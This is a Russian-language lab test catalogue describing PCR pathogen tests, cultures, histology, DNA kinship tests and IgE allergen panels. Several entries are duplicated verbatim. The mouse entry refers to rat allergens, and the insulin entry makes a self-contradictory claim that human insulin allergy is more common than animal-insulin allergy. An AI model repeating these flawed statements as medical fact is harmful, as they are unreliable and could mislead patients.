Исследование используется для выявления возбудителя в различных биологических средах, с учетом преобладающих проявлений заболевания. При поражении ЦНС основным материалом для исследования является ликвор. Для диагностики артритов, вызванных боррелией, используется исследование синовиальной жидкости. При поражении мочевыводящей системы материалом выбора является моча. Исследование биоптата может применяться как ретроспективный метод диагностики, а также для подтверждения диагноза по материалу, полученному при эндоскопических исследованиях и оперативных вмешательствах.
Метод основан на выявлении генетического материала возбудителя в биоптате, полученном при эндоскопии, в процессе хирургического вмешательства или на секции. Методика полимеразной цепной реакции обладает высокой чувствительностью и специфичностью, позволяет подтвердить наличие микроорганизма в биологическом материале, даже в случае минимальной обсеменности им исследуемого образца ткани.
Исследование позволяет выявить генетический материал возбудителя хеликобактериоза в кале, обладает высокой чувствительностью и специфичностью. Отличительной особенностью метода является его неинвазивность(отсутствие необходимости забора крови или получения аспирата, биоптата). Анализ позволяет подтвердить факт наличия инфекции в желудочно-кишечном тракте, оценить эффективность эрадикационной терапии.
Исследование используется для диагностики различных форм инфекций, вызываемых в-гемолитическим стрептококком группы А. Для верификации возбудителя при поражении верхних отделов дыхательных путей, лучшим биоматериалом для исследования является мазок из ротоглотки. Для выявления возбудителя при бронхитах и пневмониях используется мокрота. Метод обладает высокой чувствительностью и специфичностью, результаты анализа не зависят от состояния иммунной системы.
Анализ используется для диагностики пневмококковой инфекции. Метод полимеразной цепной реакции обладает высокой чувствительностью и специфичностью, позволяет выявить возбудитель при минимальном его количестве в исследуемом биоматериале. Результаты исследования не зависят от состояния иммунной системы, позволяют производить верификацию возбудителя при минимальном иммунном ответе и отсутствии в крови специфических антител.
Данный метод позволяет подтвердить диагноз "туберкулез" путем обнаружения генетического материала возбудителя в исследуемом материале. Также может использоваться в целях дифференциальной диагностики с заболеваниями, протекающими с поражением мочеполовых органов. Диагностическая значимость теста заключается в быстроте получения результата исследования, его высокой чувствительности и специфичности. Комплексное исследование позволяет выявить ДНК человеческого и бычьего штамма микобактерии. Исследование позволяет устанавливать диагноз как легочных, так и внелегочных форм заболевания путем обнаружения генетического материала возбудителя в биоматериале.
Анализ используется для диагностики энтеровирусной инфекции, позволяет выделить генетический материал возбудителя из различных видов биоматериала, в зависимости от локализации патологического процесса. Выделяют более 70 разновидностей энтеровирусов. В зависимости от вида возбудитель приводит к развитию поражения центральной нервной системы, желудочно-кишечного тракта, мышц, суставов или миокарда и протекает в форме эпидемической миалгии, серозного менингита, миокардита, энтеровирусной диареи или геморрагического конъюнктивита.
Возбудитель острых вирусных кишечных инфекций. Особенно часто вызывает заболевания у детей. Выделение генетического материала вируса методом полимеразной цепной реакции является наиболее быстрым, чувствительным и специфичным методом диагностики.
Наиболее чувствительный и специфичный метод диагностики различных форм аденовирусной инфекции. В зависимости от преимущественной локализации инфекционного процесса, исследование может выполняться по мазку из ротоглотки, мазку с конъюнктивы, либо смыву из бронхов. Метод позволяет определить возбудителя инфекции на ранних стадиях заболевания, когда иммунный ответ еще слабо выражен и антитела в крови не определяются.
Грипп – острая респираторная инфекция, вызываемая РНК-содержащими вирусами, относящимися к семейству Orthomyxoviridae рода Influenza virus. По виду одного из белков, входящих в состав вирусной частицы, вирусы гриппа подразделяются на три основных серотипа: А, В и С. Выделяют также штаммы вируса гриппа, обычно их обозначают в соответствии с географической областью, где был впервые выделен тот или иной штамм вируса, и годом обнаружения (например, А/H1N1/СА2009 означает, что штамм вируса типа А/H1N1 был впервые выделен в Калифорнии в 2009 году). Свиной грипп – это несколько подтипов вируса гриппа А, способных вызывать заболевание у свиней. Наиболее актуальным в плане эпидемиологической настороженности в настоящее время является подтип А/H1N1. Симптомы гриппа, вызванного вышеуказанным вирусом, сходны с обычным гриппом (повышение температуры тела, кашель, боль в горле, головная боль, боль в мышцах, слабость, также могут наблюдаться тошнота, рвота и/или жидкий стул). Следует отметить, что в большинстве случаев вышеперечисленные симптомы проходят в течение недели, но при тяжелом течении инфекции часто развивается быстропрогрессирующая пневмония, которая может при отсутствии правильного лечения привести к летальному исходу в течение суток. Особенно часто в тяжелой форме заболевание протекает у детей в возрасте до 2 лет, людей с хроническими заболеваниями дыхательной системы, пожилых людей, беременных женщин, лиц, страдающих ожирением. Опасными симптомами считаются затруднение дыхания, боль в грудной клетке, посинение губ, кончиков ушей, спутанность сознания, температура тела выше 38 С в течение 3-4 дней, на фоне приема жаропонижающих препаратов. У детей симптомы тяжелой формы гриппа различаются в зависимости от возраста ребенка. У грудных детей обычно отмечается учащенное дыхание, бледность или посинение кожных покровов, симптомы обезвоживания (отсутствие слез при плаче, длительное отсутствие мочеиспускания), упорная тошнота и рвота, сильная вялость, сонливость или, наоборот, перевозбуждение, судороги. При наличии симптомов тяжелого течения гриппа необходимо в кратчайшее время обратиться за медицинской помощью.
Выявление вируса гриппа серотипов А и В (Influenza virus A/B), в ходе которого с помощью метода полимеразной цепной реакции в реальном времени (РТ-ПЦР) определяется генетический материал (РНК) вируса в образце биоматериала, полученного из верхних и нижних дыхательных путей.
Исследование образца кала методом полимеразной цепной реакции на предмет наличия генетического материала возбудителей сальмоненллеза. Тест обладает родовой специфичностью, то есть позволяет выявить наличие в желудочно-кишечном тракте сальмонелл всех видов. Исследование может применятся как для диагностики заболевания, так и для выявлении скрытых бактерионосителей.
Метод обладает высокой чувствительностью и специфичностью, используется для диагностики шигеллеза(дизентерии) острых кишечных инфекций, обусловленных энтеротоксигенными штаммами кишечной палочки. Также может применяться для выявления скрытых бактерионосителей.
Исследование обладает высокой чувствительностью и специфичностью, используется для подтверждения диагноза псевдотуберкулеза, дифференциальной диагностики со сходными заболеваниями, выявления бактерионосителей.
Исследование позволяет выявлять в исследуемом образце генетический материал возбудителя лептоспироза, обладает высокой чувствительностью и специфичностью. Тест наиболее информативен в отношении диагностики лептоспироза, протекающего с поражением мочевыделительной системы.
Тест имеет видовую специфичность (до 98 %) и высокую чувствительность. Наибольшую информативность тест имеет во время клинических проявлений первичной стадии сифилиса, сопровождаемой образованием твердого шанкра, когда в качестве материала для исследования может быть взято отделяемое с поверхности язвы или эрозии, во вторую стадию болезни (высыпаний) материалом для исследования является кровь больного.
Парвовирус В19 — это патогенный для человека ДНК-содержащий вирус из семейства парвовирусов. В зависимости от гематологического и иммунологического статуса заболевшего клиническая картина заражения может варьировать в широких пределах: от бессимптомной эритроидной аплазии до хронической анемии. Вирус встречается по всему миру и довольно широко распространён. Антитела против этого вируса обнаруживаются у 2—15% детей и более чем у 85% пожилых людей. Вирус распространяется в основном воздушно-капельным путём, но заражение также возможно при парентеральном введении донорской крови или её компонентов и при пересадке органов. Кроме того, примерно в 30% случаев происходит вертикальная передача вируса от заражённой матери к плоду; У здоровых детей инфекция часто проявляется только в виде неопасной инфекционной эритемы или же протекает бессимптомно или неспецифически. Инфекционная эритема — наиболее частое проявление парвовирусной инфекции у детей. Это отчетливо различимая сыпь, которой может предшествовать общая симптоматика. Сыпь на лице может быть интенсивно красного цвета (синдром отшлепанных щек). Сыпь симметричная, пятнисто-папулёзная, сетчатая ("кружевная") появляется на туловище с тенденцией распространения на руки, бёдра, ягодицы. У взрослых парвовирусная инфекция чаще всего проявляется артралгией и артритом, в то время как поражения кожи менее распространены. К более редким симптомам относятся тромбоцитопения, нейрологические симптомы и миокардит.
Молекулярно-генетическое исследование в режиме реального времени, которое позволяет определить и дифференцировать 21 генотип вируса папилломы человека в исследуемом материале, что дает возможность охарактеризовать онкогенный потенциал инфекции и спланировать тактику лечения и мониторинг инфекции.
При обнаружении микробиологическим методом микроорганизмов, составляющих нормальную микрофлору, или условно-патогенных микроорганизмов в титре менее диагностического не определяется чувствительность к антибиотикам и бактериофагам, так как это количество не является значимым и не требует лечения противомикробными препаратами.
Микробиологическое исследование, направленное на выделение возбудителя и определение его чувствительности к антибиотикам для подбора оптимальной терапии пародонтита. При выявлении патогенных и/или условно-патогенных микроорганизмов будет определена их чувствительность к антимикробным препаратам (антибиотикам и бактериофагам). При обнаружении микроорганизмов, составляющих нормальную микрофлору, чувствительность к антибиотикам и бактериофагам не определяется, т.к. не имеет диагностического значения.
Микробиологическое исследование, направленное на выделение возбудителя и определение его чувствительности к антибиотикам для подбора оптимальной терапии пародонтита. При выявлении патогенных и/или условно-патогенных микроорганизмов будет определена их чувствительность к антимикробным препаратам (антибиотикам и бактериофагам). При обнаружении микроорганизмов, составляющих нормальную микрофлору, чувствительность к антибиотикам и бактериофагам не определяется, т.к. не имеет диагностического значения.
Метод основан на непосредственном связывании антигенов вируса простого герпеса с мечеными флюорохромом антителами и последующей микроскопии исследуемого материала с полученными комплексами антиген-антитело в ультрафиолете. Под воздействием ультрафиолетового излучения флюорохром дает свечение, что позволяет быстро выявить наличие возбудителя в исследуемом материале. Методика используется для экспресс-диагностики герпетической инфекции, обладает довольно высокой специфичностью (до 85%). Результат исследования - качественный, без типирования. Показания для назначения анализов: 1. Комплексная диагностика и мониторинг герпетической инфекции 2. Контроль проведенной терапии заболевания 3. Планирование беременности (рекомендуется обоим партнерам) 4. Пренатальная диагностика внутриутробной инфекции 5. Больные ВИЧ-инфекцией или иммунодефицитом другой этиологии Сопутствующие анализы: - [02-014] Общий анализ крови - [02-025] Лейкоцитарная формула - [02-006] Общий анализ мочи с микроскопией осадка - [09-029] Toxoplasma gondii, ДНК [ПЦР] (кровь) - [07-040] Rubella Virus, IgG (количественно) - [07-042] Rubella Virus, IgМ (количественно) - [07-032] HIV 1, 2 Ab/Ag Combo (определение антител и антигена р24) - [09-034] Varicella Zoster Virus, ДНК [ПЦР] (кровь)
Метод основан на непосредственном связывании антигенов аденовируса с мечеными флюорохромом антителами и последующей микроскопии исследуемого материала с полученными комплексами антиген-антитело в ультрафиолете. Под воздействием ультрафиолетового излучения флюорохром дает свечение, что позволяет быстро выявить наличие возбудителя в исследуемом материале. Методика используется для экспресс-диагностики аденовирусной инфекции, обладает довольно высокой специфичностью (до 90%). Показания для назначения анализов: 1. Комплексная диагностика и мониторинг аденовирусной инфекции 2. Контроль проведенной терапии заболевания 3. Дифференциальная диагностика с заболеваниями, протекающими с поражением органов дыхания, увеличением лимфатических узлов (лимфаденопатией) 4. По эпидемиологическим показаниям у лиц, контактирующих с больным Сопутствующие анализы: - [02-014] Общий анализ крови - [02-025] Лейкоцитарная формула - [02-006] Общий анализ мочи с микроскопией осадка - [09-098] Astrovirus, РНК [ПЦР] (кал) - [09-075] Enterovirus, РНК [ПЦР] (мазок из носоглотки, ректальный мазок, кал, ликвор) - [09-097] Rotavirus А, РНК [ПЦР] (кал) - [09-099] Norovirus, РНК [ПЦР] (кал)
Универсальное микробиологическое исследование, позволяющее определить наличие и основные культуральные свойства (титр, количество, чувствительность к основным группам антибактериальных препаратов) большинства анаэробных микроорганизмов, растущих на специфических питательных средах для анаэробов. Анализ используют с целью определения наиболее подходящего препарата для антибактериальной терапии при поражениях ран анаэробной инфекцией.
Золотистый стафилококк (Staphylococcus aureus) – грамположительная бактерия, относящаяся к условно-патогенным микроорганизмам. Имеет важное клиническое значение, так как может длительное время бессимптомно обитать на поверхности слизистых оболочек и кожи человека, вызывая заболевание только в случае снижения иммунного статуса организма, либо уменьшения количества нормальной микрофлоры. В зависимости от места обитания в организме, микроорганизм может вызывать различные заболевания (патологические процессы в верхних и нижних дыхательных путях, инфекционно-воспалительные заболевания кожи, кишечные инфекции и прочее). Большое значение золотистый стафилококк имеет в патологии новорожденных и детей грудного возраста, исходя из чего, обследование на наличие данного микроорганизма обязательно для беременных женщин. Так как скрытое бактерионосительство S. aureus является достаточно распространенным явлением, обязательному обследованию на предмет наличия микроорганизма в верхних дыхательных путях подлежат работники сферы общественного питания, медицинские работники и некоторые другие категории населения. Микробиологический метод позволяет выделить золотистый стафилококк на специальных питательных средах, тем самым доказать его наличие в организме и возможную роль в развитии патологии, либо скрытое бактерионосительство. В данном исследовании проводится количественное определение золотистого стафилококка.
Микробиологическое исследование, которое позволяет оценить состав микрофлоры кишечника – концентрацию и соотношение «полезных», условно-патогенных и патогенных микроорганизмов в кале, определить специфическую активность основных пробиотиков в отношении выявленных микроорганизмов и их чувствительность к бактериофагам и антибиотикам. К нормальной микрофлоре кишечника («полезные» бактерии) относятся лактобактерии, бифидобактерии, энтерококки, кишечные палочки (типичные), анаэробная флора (бактероиды). Условно-патогенная флора – это энтеробактерии, неферментирующие бактерии, стафилококки, анаэробные бактерии (клостридии), грибы. Патогенными микроорганизмами являются сальмонеллы, шигеллы, патогенные эшерихии. При выявлении патогенных и/или условно-патогенных микроорганизмов будет определена их чувствительность к антимикробным препаратам (антибиотикам и бактериофагам) и пробиотикам. При обнаружении микроорганизмов, составляющих нормальную микрофлору, чувствительность к антибиотикам и бактериофагам не определяется, т.к. не имеет диагностического значения.
Гистологическое исследование биопсийного материала шейки матки, влагалища, гистологическое исследование операционного материала (соскобы цервикального канала, соскобы полости матки). По причине принципиально различных микроскопических картин и морфологических процессов полость матки и цервикальный канал – это две разные локализации. Материал должен быть помещен в разные промаркированные контейнеры, по каждому из них выполняется отдельное исследование и выдается отдельное заключение. В случае удаления полипа его рекомендуется также помещать в отдельный контейнер с соответствующей маркировкой. Также проводится отдельное исследование и выдается заключение.
Гистологическое исследование эндоскопического материала пищевода, желудка, кишки, бронха, гортани, трахеи. В случае забора материала из нескольких локализаций фрагменты должны быть помещены в отдельные промаркированные контейнеры, по каждому из которых выполняется отдельное гистологическое исследование и выдается отдельное заключение.
Современный метод цитогенетического анализа, позволяющий определять качественные и количественные изменения хромосом (в том числе транслокации и микроделеции) и используемый для дифференциальной диагностики злокачественных заболеваний крови и солидных опухолей.
ДНК-тест на материнство позволяет установить, может ли женщина являться биологической матерью конкретного ребенка или нет. В основе молекулярно-генетического метода исследования лежит идентификация аллелей ряда полиморфных локусов, уникально наследуемых ребенком от биологических родителей. Исследованию подвергается ДНК, выделенная из биологического материала, полученного от обследуемых лиц. У каждого человека клетки биологического материала (кровь, слюна, кости, кожа, мышцы, зубы, луковицы волос и др.) содержат абсолютно одинаковую ДНК. Она остается постоянной на протяжении всей жизни, не подвергаясь изменениям. Поэтому результаты молекулярно-генетического исследования не зависят от того, какой именно биологический материал исследуется в конкретном случае. Типирование полиморфных STR-локусов хромосомной ДНК проводят с помощью полимеразной цепной реакции с использованием энзиматической амплификации 25-локусной панели VeriFiler™ Express PCR Amplification Kit (ThermoFisher Scientific, США), руководствуясь методическими указаниями №98/253 «Использование индивидуализирующих систем на основе полиморфизма длины амплифицированных фрагментов (ПДАФ) ДНК в судебно-медицинской экспертизе идентификации личности и установления родства» (утверждены Минздравом РФ 19.01.1999 г.) и инструкциями фирмы-изготовителя. Выявленные аллели исследованных локусов обозначаются в соответствии со стандартной международной номенклатурой, что позволяет при необходимости проводить межлабораторные сравнения полученных результатов. Возможны два варианта результата анализа: (1) «исключение материнства» и (2) «неисключение материнства». Вероятность при «неисключении материнства» 99,9999% и выше (точность 100% при «неисключении материнства» теоретически недостижима). Вероятность при исключении материнства составляет 100%. Использование образца биологического отца значительно повышает точность анализа. Также возможно проведение анонимного анализа, если информирование потенциально заинтересованных лиц нежелательно. ДНК-тест на отцовство позволяет установить, является ли мужчина биологическим отцом конкретного ребенка или нет. В основе молекулярно-генетического метода исследования лежит идентификация аллелей ряда полиморфных локусов, уникально наследуемых ребенком от биологических родителей. Исследованию подвергается ДНК, выделенная из биологического материала, полученного от обследуемых лиц. У каждого человека клетки биологического материала (кровь, слюна, кости, кожа, мышцы, зубы, луковицы волос и др.) содержат абсолютно одинаковую ДНК. Она остается постоянной на протяжении всей жизни, не подвергаясь изменениям. Поэтому результаты молекулярно-генетического исследования не зависят от того, какой именно биологический материал исследуется в конкретном случае. Типирование полиморфных STR-локусов хромосомной ДНК проводят с помощью полимеразной цепной реакции с использованием энзиматической амплификации 25-локусной панели VeriFiler™ Express PCR Amplification Kit (ThermoFisher Scientific, США), руководствуясь методическими указаниями №98/253 «Использование индивидуализирующих систем на основе полиморфизма длины амплифицированных фрагментов (ПДАФ) ДНК в судебно-медицинской экспертизе идентификации личности и установления родства» (утверждены Минздравом РФ 19.01.1999 г.) и инструкциями фирмы-изготовителя. Выявленные аллели исследованных локусов обозначаются в соответствии со стандартной международной номенклатурой, что позволяет при необходимости проводить межлабораторные сравнения полученных результатов. Использование образца биологической матери (родство которой не оспаривается) значительно повышает точность анализа. Возможны два варианта результата анализа: (1) «исключение отцовства» и (2) «неисключение отцовства». Вероятность при «неисключении отцовства» 99,9999% и выше (точность 100% при неисключении отцовства теоретически недостижима). При наличии совпадающих аллелей по всем исследованным локусам у ребенка и предполагаемого отца делается вывод о возможности получения ребенком наследственного материала от обследуемого: «неисключение» отцовства. Вероятность при исключении отцовства составляет 100%. Вывод об исключении отцовства делается, если в генотипах ребенка и предполагаемого отца отсутствуют совпадающие аллели даже по отдельным локусам. 2 участника: ребенок и предполагаемый родитель.
ДНК-тест на материнство позволяет установить, может ли женщина являться биологической матерью конкретного ребенка или нет. В основе молекулярно-генетического метода исследования лежит идентификация аллелей ряда полиморфных локусов, уникально наследуемых ребенком от биологических родителей. Исследованию подвергается ДНК, выделенная из биологического материала, полученного от обследуемых лиц. У каждого человека клетки биологического материала (кровь, слюна, кости, кожа, мышцы, зубы, луковицы волос и др.) содержат абсолютно одинаковую ДНК. Она остается постоянной на протяжении всей жизни, не подвергаясь изменениям. Поэтому результаты молекулярно-генетического исследования не зависят от того, какой именно биологический материал исследуется в конкретном случае. Типирование полиморфных STR-локусов хромосомной ДНК проводят с помощью полимеразной цепной реакции с использованием энзиматической амплификации 25-локусной панели VeriFiler™ Express PCR Amplification Kit (ThermoFisher Scientific, США), руководствуясь методическими указаниями №98/253 «Использование индивидуализирующих систем на основе полиморфизма длины амплифицированных фрагментов (ПДАФ) ДНК в судебно-медицинской экспертизе идентификации личности и установления родства» (утверждены Минздравом РФ 19.01.1999 г.) и инструкциями фирмы-изготовителя. Выявленные аллели исследованных локусов обозначаются в соответствии со стандартной международной номенклатурой, что позволяет при необходимости проводить межлабораторные сравнения полученных результатов. Возможны два варианта результата анализа: (1) «исключение материнства» и (2) «неисключение материнства». Вероятность при «неисключении материнства» 99,9999% и выше (точность 100% при «неисключении материнства» теоретически недостижима). Вероятность при исключении материнства составляет 100%. Использование образца биологического отца значительно повышает точность анализа. Также возможно проведение анонимного анализа, если информирование потенциально заинтересованных лиц нежелательно. ДНК-тест на отцовство позволяет установить, является ли мужчина биологическим отцом конкретного ребенка или нет. В основе молекулярно-генетического метода исследования лежит идентификация аллелей ряда полиморфных локусов, уникально наследуемых ребенком от биологических родителей. Исследованию подвергается ДНК, выделенная из биологического материала, полученного от обследуемых лиц. У каждого человека клетки биологического материала (кровь, слюна, кости, кожа, мышцы, зубы, луковицы волос и др.) содержат абсолютно одинаковую ДНК. Она остается постоянной на протяжении всей жизни, не подвергаясь изменениям. Поэтому результаты молекулярно-генетического исследования не зависят от того, какой именно биологический материал исследуется в конкретном случае. Типирование полиморфных STR-локусов хромосомной ДНК проводят с помощью полимеразной цепной реакции с использованием энзиматической амплификации 25-локусной панели VeriFiler™ Express PCR Amplification Kit (ThermoFisher Scientific, США), руководствуясь методическими указаниями №98/253 «Использование индивидуализирующих систем на основе полиморфизма длины амплифицированных фрагментов (ПДАФ) ДНК в судебно-медицинской экспертизе идентификации личности и установления родства» (утверждены Минздравом РФ 19.01.1999 г.) и инструкциями фирмы-изготовителя. Выявленные аллели исследованных локусов обозначаются в соответствии со стандартной международной номенклатурой, что позволяет при необходимости проводить межлабораторные сравнения полученных результатов. Использование образца биологической матери (родство которой не оспаривается) значительно повышает точность анализа. Возможны два варианта результата анализа: (1) «исключение отцовства» и (2) «неисключение отцовства». Вероятность при «неисключении отцовства» 99,9999% и выше (точность 100% при неисключении отцовства теоретически недостижима). При наличии совпадающих аллелей по всем исследованным локусам у ребенка и предполагаемого отца делается вывод о возможности получения ребенком наследственного материала от обследуемого: «неисключение» отцовства. Вероятность при исключении отцовства составляет 100%. Вывод об исключении отцовства делается, если в генотипах ребенка и предполагаемого отца отсутствуют совпадающие аллели даже по отдельным локусам. 3 участника: ребенок, безусловный родитель, предполагаемый родитель.
Тест позволяет определить, насколько близко два человека состоят в родстве по одной материнской линии. Сравнение полных последовательностей высоковариабельных участков митохондриальной ДНК (D-петля) секвенированием на автоматическом секвенаторе GE Healthcare Life Sciences MegaBACE 1000. Заключение даётся на основании анализа митохондриальной ДНК (мтДНК), которая передаётся от матери всем её детям, но только девочки могут передать ее затем своим детям. При помощи анализа мтДНК можно определить, имеется ли родственная связь между двумя женщинами или мужчиной и женщиной, имеют ли двое людей общего материнского предка. Этот анализ можно также использовать для определения материнства в случаях, когда образцы ДНК матери получить невозможно, но есть образцы брата (сестры) исследуемого по материнской линии или же бабушки по материнской линии. Для анализа необходимы образцы ДНК двух людей, находящихся в предполагаемом родстве по одной и той же женской линии. 2 участника: предполагаемые родственники по женской линии, лица любого пола: братья, сестры по матери и т.д.
2 участника: предполагаемые родственники по мужской линии, лица мужского пола: дедушка по линии отца - внук, дядя - племянник, родные/сводные по отцу братья.
Амоксициллин относится к группе полусинтетических пенициллинов – антибактериальное средство широкого спектра действия. Аллергические реакции на полусинтетические пенициллины развиваются вследствие выработки IgE на метаболиты в-лактамного кольца. Аллергия на амоксициллин встречается довольно часто и проявляется в виде таких заболеваний как крапивница, атопический дерматит, отек Квинке, аллергический ринит, аллергический конъюнктивит. При системном введении данного препарата возможен и анафилактический шок. Очень часто при сенсибилизации к амоксициллину наблюдаются перекрестные аллергические реакции к пенициллинам, цефалоспоринам, монобактамам, карбапенемам. Определение специфического иммуноглобулина Е к данному аллергену в повышенном количестве указывает на наличие сенсибилизации организма к этому аллергену.
Ампициллин относится к группе пенициллинов – антибактериальное средство широкого спектра действия. Аллергические реакции на пенициллины развиваются вследствие выработки IgE на метаболиты в-лактамного кольца. Аллергия на ампициллин встречается довольно часто и проявляется в виде таких заболеваний как крапивница, атопический дерматит, отек Квинке, аллергический ринит, аллергический конъюнктивит. При системном введении данного препарата возможен и анафилактический шок. Очень часто при сенсибилизации к ампициллину наблюдаются перекрестные аллергические реакции к цефалоспоринам, монобактамам, карбапенемам. Определение специфического иммуноглобулина Е к данному аллергену в повышенном количестве указывает на наличие сенсибилизации организма к этому аллергену.
Зеленый горошек, как этиологический фактор пищевой аллергии относят к низкой степени аллергизирующей активности (без учета индивидуальных особенностей). Чаще всего встречаются такие проявления, как заболевания пищеварительной системы (аллергический стоматит, хейлит, гастрит, колит, гастроэнтерит), кожи (атопический дерматит, крапивница, отек Квинке) и реже - органов дыхания (аллергический ринит, астма). Определение специфического иммуноглобулина Е к данному аллергену в повышенном количестве свидетельствует об острой аллергической реакции (гиперчувствительность немедленного типа).
Миндаль, как этиологический фактор пищевой аллергии относят к высокой степени аллергизирующей активности (без учета индивидуальных особенностей). Миндаль часто применяют при изготовлении кондитерских изделий, поэтому, если имеется сенсибилизация к данному аллергену, необходимо избегать употребления в пищу таких продуктов питания. Аллергическая реакция на орехи, в том числе и на миндаль, зачастую может протекать в виде тяжелого приступа бронхиальной астмы.
Пенициллин G (или бензилпенициллин) относится к группе пенициллинов – антибактериальное средство широкого спектра действия. Аллергические реакции на пенициллины развиваются вследствие выработки IgE на метаболиты в-лактамного кольца. Аллергия на пенициллин встречается довольно часто и проявляется в виде таких заболеваний как крапивница, атопический дерматит, отек Квинке, аллергический ринит, аллергический конъюнктивит. При системном введении данного препарата возможен и анафилактический шок. Очень часто при сенсибилизации к пенициллину наблюдаются перекрестные аллергические реакции к полусинтетическим пенициллинам, цефалоспоринам, монобактамам, карбапенемам. Определение специфического иммуноглобулина Е к данному аллергену в повышенном количестве указывает на наличие сенсибилизации организма к этому аллергену.
Кунжут, как этиологический фактор пищевой аллергии относят к высокой степени аллергизирующей активности (без учета индивидуальных особенностей). При аллергической реакции на кунжут возможна сыпь, отеки, дискомфорт в желудке, астма и экзема, вплоть до развития системных реакций, таких как анафилактический шок. Определение специфического иммуноглобулина Е к данному аллергену в повышенном количестве свидетельствует об острой аллергической реакции (гиперчувствительность немедленного типа).
Фасоль белая, как этиологический фактор пищевой аллергии относят к низкой степени аллергизирующей активности (без учета индивидуальных особенностей). Фасоль белая довольно редко вызывает аллергические реакции, но они возможны и могут проявляться в виде сыпи, отеков, дискомфорта в желудке, астмы и экземы. Определение специфического иммуноглобулина Е к данному аллергену в повышенном количестве свидетельствует об острой аллергической реакции (гиперчувствительность немедленного типа).
Орех кешью является очень сильным аллергеном, даже более сильным чем арахис. Такие тяжелые проявления аллергии как тяжелый приступ бронхиальной астмы и падение артериального давления (анафилактический шок) при сансибилизации организма к орехам кешью возникают значительно чаще, чем при сенсибилизации к арахису.
Фисташковые орехи, как этиологический фактор пищевой аллергии относят к высокой степени аллергизирующей активности (без учета индивидуальных особенностей). Фисташковое масло добавляют в торты и колбасы, пищевые красители, острые блюда, а еще применяют в парфюмерии и медицине, поэтому, если имеется сенсибилизация к данному аллергену, необходимо избегать контакта с этим аллергеном. Аллергическая реакция на орехи, в том числе и на фисташковые орехи, зачастую может протекать в виде тяжелого приступа бронхиальной астмы.
Данный тест используется для диагностики аллергических пневмоний, бронхиальной астмы, так как сенсибилизация организма происходит при ингаляционном пути попадания в организм эпидермального компонента голубиного помета.
Данный тест используется для диагностики аллергических пневмоний, атопической бронхиальной астмы, аллергического ринита и конъюнктивита. Появление аллергических реакций напрямую связано с присутствием канарейки в доме в качестве домашнего животного.
Данный тест имеет значение для диагностики бронхиальной астмы, экземы, атопического дерматита, респираторных аллергозов, аллергического конъюнктивита у людей имеющих или имевших контакт с козами, непеработанными козьими шкурами или шерстью.
Перхоть считается одним из основных (наряду с шерстью) аллергенов коровы. Перхоть коровы может являться компонентом домашней пыли у работников животноводческих ферм, скотобоен или предприятий по переработке коровьих шкур. Данный тест имеет значение для диагностики бронхиальной астмы, экземы, атопического дерматита, респираторных аллергозов, аллергического конъюнктивита.
Данный тест имеет значение для диагностики бронхиальной астмы, респираторных аллергозов, аллергического конъюнктивита у людей имеющих контакт с крысами (как в качестве домашних животных, так и в качестве вредителей). Аллергены крысы исследуются с целью проведения специфической диагностики, ибо относятся к категории факторов, которые можно устранить из окружающей человека среды.
Моча считается одним из основных (наряду с протеинами сыворотки крысы и эпителием) аллергенов крысы. Распространению аллергена способствует регулярная уборка клеток с крысами без соблюдения элементарных правил гигиены, либо в том случае, если крыса свободно перемещается по квартире. Данный тест имеет значение для диагностики бронхиальной астмы, экземы, атопического дерматита, респираторных аллергозов, аллергического конъюнктивита.
Эпителий считается одним из основных (наряду с протеинами сыворотки крысы и мочой) аллергенов крысы. Аллерген может являться компонентом домашней пыли. Распространению аллергена способствует регулярная уборка клеток с крысами без соблюдения элементарных правил гигиены, либо в том случае, если крыса свободно перемещается по квартире. Данный тест имеет значение для диагностики бронхиальной астмы, экземы, атопического дерматита, респираторных аллергозов, аллергического конъюнктивита.
Протеины сыворотки курицы представляют собой микроскопические частички (протеины) которые попадают на них со слюной, мочой, выделениями кожи и оперения. Данный тест имеет значение для диагностики бронхиальной астмы, экземы, атопического дерматита, респираторных аллергозов, аллергического конъюнктивита. Поэтому при появлении симптомов какого-либо из перечисленных заболеваний необходимо прекратить контакт с аллергеном.
Очень сильным аллергеном является перхоть лошади, вызывая при контакте тяжелые приступы удушья. Проявиться они могут при посещении цирка или катании на лошадях. Аллергия к перхоти лошади может проявляться в виде ринита (заложенности носа и насморка), конъюнктивита (покраснения и слезотечения глаз), бронхиальной астмы (приступов затрудненного и свистящего дыхания), зудом, пятнами и расчесами на коже.
Данный тест имеет значение для диагностики бронхиальной астмы, респираторных аллергозов, аллергического конъюнктивита у людей имеющих контакт с мышами (при посещении возможных мест обитания мышей, например подвалов, складов). Аллергены крысы исследуются с целью проведения специфической диагностики, ибо относятся к категории факторов, которые можно устранить из окружающей человека среды.
Данный тест имеет значение для диагностики бронхиальной астмы, экземы, атопического дерматита, респираторных аллергозов, аллергического конъюнктивита у людей имеющих или имевших контакт с овцами, непеработанными овечьими шкурами или шерстью.
Появление аллергических реакций напрямую связано с присутствием попугая в доме в качестве домашнего животного. Распространение аллергена происходит при уборке клеток, либо в том случае, если попугай свободно перемещается по квартире. Данный тест используется для диагностики аллергических пневмоний, атопической бронхиальной астмы, аллергического ринита и конъюнктивита.
Эпителий считается одним из основных аллергенов свиньи. Эпителий свиньи может являться компонентом домашней пыли у работников животноводческих ферм, скотобоен или предприятий по переработке свиных шкур. Данный тест имеет значение для диагностики бронхиальной астмы, экземы, атопического дерматита, респираторных аллергозов, аллергического конъюнктивита.
Пенициллин V (или феноксиметилпенициллин) относится к группе пенициллинов – антибактериальное средство широкого спектра действия. Аллергические реакции на пенициллины развиваются вследствие выработки IgE на метаболиты в-лактамного кольца. Аллергия на пенициллин встречается довольно часто и проявляется в виде таких заболеваний как крапивница, атопический дерматит, отек Квинке, аллергический ринит, аллергический конъюнктивит. При системном введении данного препарата возможен и анафилактический шок. Очень часто при сенсибилизации к пенициллину наблюдаются перекрестные аллергические реакции к полусинтетическим пенициллинам, цефалоспоринам, монобактамам, карбапенемам. Определение специфического иммуноглобулина Е к данному аллергену в повышенном количестве указывает на наличие сенсибилизации организма к этому аллергену.
Аллергия к человеческому инсулину наблюдается значительно чаще, чем к свиному и бычьему. Человеческий инсулин менее антигенен, чем бычий и свиной, но аллергические реакции к человеческому инсулину встречаются чаще, чем к бычьему и свиному. Аллергия как правило проявляется не сильно выраженными местными кожными реакциями в виде покраснения в месте инъекции или образования небольшой папулы и системными реакциями в виде крапивницы. Определение специфического иммуноглобулина Е к данному аллергену в повышенном количестве указывает на наличие сенсибилизации организма к этому аллергену.
